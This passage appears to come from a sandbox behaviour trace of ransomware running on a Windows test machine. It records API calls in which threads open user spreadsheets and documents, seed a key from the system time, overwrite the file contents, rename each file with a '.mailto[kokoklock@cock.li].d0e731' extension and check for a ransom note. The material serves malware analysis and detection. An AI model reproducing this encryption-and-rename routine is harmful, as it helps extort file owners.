nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29ebfb4c, lpOverlapped=0x0 | out: lpBuffer=0x342d320*, lpNumberOfBytesWritten=0x29ebfb4c*=0x20, lpOverlapped=0x0) returned 1 [0083.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0083.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0083.614] WriteFile (in: hFile=0x3f0, lpBuffer=0x342d2f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ebfb60, lpOverlapped=0x0 | out: lpBuffer=0x342d2f8*, lpNumberOfBytesWritten=0x29ebfb60*=0x8, lpOverlapped=0x0) returned 1 [0083.614] WriteFile (in: hFile=0x3f0, lpBuffer=0x29ebfb78*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ebfb60, lpOverlapped=0x0 | out: lpBuffer=0x29ebfb78*, lpNumberOfBytesWritten=0x29ebfb60*=0x4, lpOverlapped=0x0) returned 1 [0083.614] WriteFile (in: hFile=0x3f0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ebfb60, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x29ebfb60*=0x4, lpOverlapped=0x0) returned 1 [0083.614] WriteFile (in: hFile=0x3f0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x29ebfb60, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x29ebfb60*=0x6c, lpOverlapped=0x0) returned 1 [0083.614] WriteFile (in: hFile=0x3f0, lpBuffer=0x342d578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29ebfb60, lpOverlapped=0x0 | out: lpBuffer=0x342d578*, lpNumberOfBytesWritten=0x29ebfb60*=0x20, lpOverlapped=0x0) returned 1 [0083.614] WriteFile (in: hFile=0x3f0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ebfb60, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x29ebfb60*=0x4, lpOverlapped=0x0) returned 1 [0083.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0083.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d528) returned 1 [0083.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d2f8) returned 1 [0083.615] CloseHandle (hObject=0x3f0) returned 1 [0083.615] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xfc) returned 0x3435068 [0083.615] wcscpy (in: _Dest=0x3435068, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls" [0083.615] wcscat (in: _Dest=0x3435068, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls.mailto[kokoklock@cock.li].d0e731" [0083.615] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\gqmybri0taa5ogyl.xls"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\gqmybri0taa5ogyl.xls.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.917] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.917] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3435068) returned 1 [0084.917] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls", dwFileAttributes=0x20) returned 0 [0084.917] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x34311c0 [0084.917] wcscpy (in: _Dest=0x34311c0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0084.917] wcscat (in: _Dest=0x34311c0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" [0084.917] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\d0e731-readme.txt")) returned 0x20 [0084.917] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34311c0) returned 1 [0084.917] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3487288) returned 1 [0084.917] RtlExitUserThread (Status=0x1) Thread: id = 1189 os_tid = 0xa78 [0083.616] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\h22-8hvngyqj.xlsx")) returned 0x20 [0083.616] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx", dwFileAttributes=0x20) returned 1 [0083.616] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\h22-8hvngyqj.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0083.616] GetFileSizeEx (in: hFile=0x7c4, lpFileSize=0x29f3fe20 | out: lpFileSize=0x29f3fe20*=51952) returned 1 [0083.616] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0xcaec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.616] ReadFile (in: hFile=0x7c4, lpBuffer=0x29f3fdf4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29f3fdf0, lpOverlapped=0x0 | out: lpBuffer=0x29f3fdf4*, lpNumberOfBytesRead=0x29f3fdf0*=0x4, lpOverlapped=0x0) returned 1 [0083.617] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.617] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.617] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0083.617] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d3e8 [0083.617] NtQuerySystemTime (in: CurrentTime=0x29f3fdcc | out: CurrentTime=0x29f3fdcc*=132121176415079090) returned 0x0 [0083.617] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x271968ac [0083.617] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x8e37f2be [0083.617] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x32e0a125 [0083.617] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x907c440 [0083.617] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x62df146e [0083.617] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x9dcb6f0a [0083.617] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x43879e3c [0083.617] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x16cd4715 [0083.617] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x896d89a2 [0083.617] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0xe53c6dee [0083.618] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0xbb5f9eca [0083.618] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x882c1f70 [0083.618] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x2bd68a1e [0083.618] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0xc5339ccc [0083.618] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x26e5791c [0083.618] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0xff82551e [0083.618] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x4e1343b [0083.618] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x35623766 [0083.618] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x1837341f [0083.618] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x3755e0ad [0083.618] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x8581ff91 [0083.618] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x8d5e9db8 [0083.618] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x38d2d00b [0083.618] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0xafd35367 [0083.618] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0xfd707aa7 [0083.618] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x2f1591af [0083.618] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0xf2835b22 [0083.618] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x1ebd2254 [0083.618] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x2aaca039 [0083.618] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0xe0cd18a [0083.618] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x3ad0742b [0083.618] RtlRandom (in: Seed=0x29f3fdd8 | out: Seed=0x29f3fdd8) returned 0x410f4def [0083.629] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0083.629] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.629] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0083.629] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.629] ReadFile (in: hFile=0x7c4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x29f3fda4, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x29f3fda4*=0x4096, lpOverlapped=0x0) returned 1 [0083.630] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.630] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0083.630] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0083.630] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d320 [0083.630] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0083.630] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.630] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d320 [0083.630] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d5c8 [0083.630] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d5c8) returned 1 [0083.630] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0083.630] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0083.630] WriteFile (in: hFile=0x7c4, lpBuffer=0x348d230*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x29f3fda4, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesWritten=0x29f3fda4*=0x4096, lpOverlapped=0x0) returned 1 [0083.631] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.631] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0xcaf0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.631] WriteFile (in: hFile=0x7c4, lpBuffer=0x342d320*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29f3fddc, lpOverlapped=0x0 | out: lpBuffer=0x342d320*, lpNumberOfBytesWritten=0x29f3fddc*=0x20, lpOverlapped=0x0) returned 1 [0083.631] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0083.631] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0083.631] WriteFile (in: hFile=0x7c4, lpBuffer=0x342d2f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29f3fdf0, lpOverlapped=0x0 | out: lpBuffer=0x342d2f8*, lpNumberOfBytesWritten=0x29f3fdf0*=0x8, lpOverlapped=0x0) returned 1 [0083.631] WriteFile (in: hFile=0x7c4, lpBuffer=0x29f3fe08*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29f3fdf0, lpOverlapped=0x0 | out: lpBuffer=0x29f3fe08*, lpNumberOfBytesWritten=0x29f3fdf0*=0x4, lpOverlapped=0x0) returned 1 [0083.631] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29f3fdf0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x29f3fdf0*=0x4, lpOverlapped=0x0) returned 1 [0083.631] WriteFile (in: hFile=0x7c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x29f3fdf0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x29f3fdf0*=0x6c, lpOverlapped=0x0) returned 1 [0083.631] WriteFile (in: hFile=0x7c4, lpBuffer=0x342d578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29f3fdf0, lpOverlapped=0x0 | out: lpBuffer=0x342d578*, lpNumberOfBytesWritten=0x29f3fdf0*=0x20, lpOverlapped=0x0) returned 1 [0083.631] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29f3fdf0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x29f3fdf0*=0x4, lpOverlapped=0x0) returned 1 [0083.632] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0083.632] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d528) returned 1 [0083.632] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d2f8) returned 1 [0083.632] CloseHandle (hObject=0x7c4) returned 1 [0083.632] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf6) returned 0x347d648 [0083.632] wcscpy (in: _Dest=0x347d648, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx" [0083.632] wcscat (in: _Dest=0x347d648, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx.mailto[kokoklock@cock.li].d0e731" [0083.632] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\h22-8hvngyqj.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\h22-8hvngyqj.xlsx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.940] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.940] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d648) returned 1 [0084.940] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx", dwFileAttributes=0x20) returned 0 [0084.940] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x3431100 [0084.940] wcscpy (in: _Dest=0x3431100, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0084.940] wcscat (in: _Dest=0x3431100, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" [0084.940] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\d0e731-readme.txt")) returned 0x20 [0084.940] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431100) returned 1 [0084.940] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430c80) returned 1 [0084.940] RtlExitUserThread (Status=0x1) Thread: id = 1190 os_tid = 0xff0 [0083.633] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\hwduek.odt")) returned 0x20 [0083.633] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt", dwFileAttributes=0x20) returned 1 [0083.633] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\hwduek.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0083.633] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x29fbf7c4 | out: lpFileSize=0x29fbf7c4*=71202) returned 1 [0083.633] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x1161e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.633] ReadFile (in: hFile=0x42c, lpBuffer=0x29fbf798, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29fbf794, lpOverlapped=0x0 | out: lpBuffer=0x29fbf798*, lpNumberOfBytesRead=0x29fbf794*=0x4, lpOverlapped=0x0) returned 1 [0083.634] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.634] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.634] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0083.634] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d410 [0083.634] NtQuerySystemTime (in: CurrentTime=0x29fbf770 | out: CurrentTime=0x29fbf770*=132121176415235590) returned 0x0 [0083.634] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0x79e0cdde [0083.634] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0x4397689a [0083.634] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0xe9d43cb9 [0083.634] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0xd825588 [0083.634] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0xbdf273eb [0083.634] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0x9fd6999d [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0x2605664f [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0x7b67a2e5 [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0xb814467a [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0x242e5c7a [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0xa2e4593e [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0x4da70ccd [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0x65226f39 [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0x22129c38 [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0x79ca77f1 [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0xde29d34f [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0x69581948 [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0xe8beab3c [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0xd574626 [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0x337d0665 [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0x68bb9180 [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0x89a142f9 [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0x31d93fc7 [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0x9700d8ee [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0x44212564 [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0x7281d470 [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0x51a47041 [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0x162ce1ec [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0x83d7262 [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0x9dcbb7b7 [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0x442e568a [0083.635] RtlRandom (in: Seed=0x29fbf77c | out: Seed=0x29fbf77c) returned 0xf219ea4d [0083.647] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0083.647] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.647] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0083.647] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 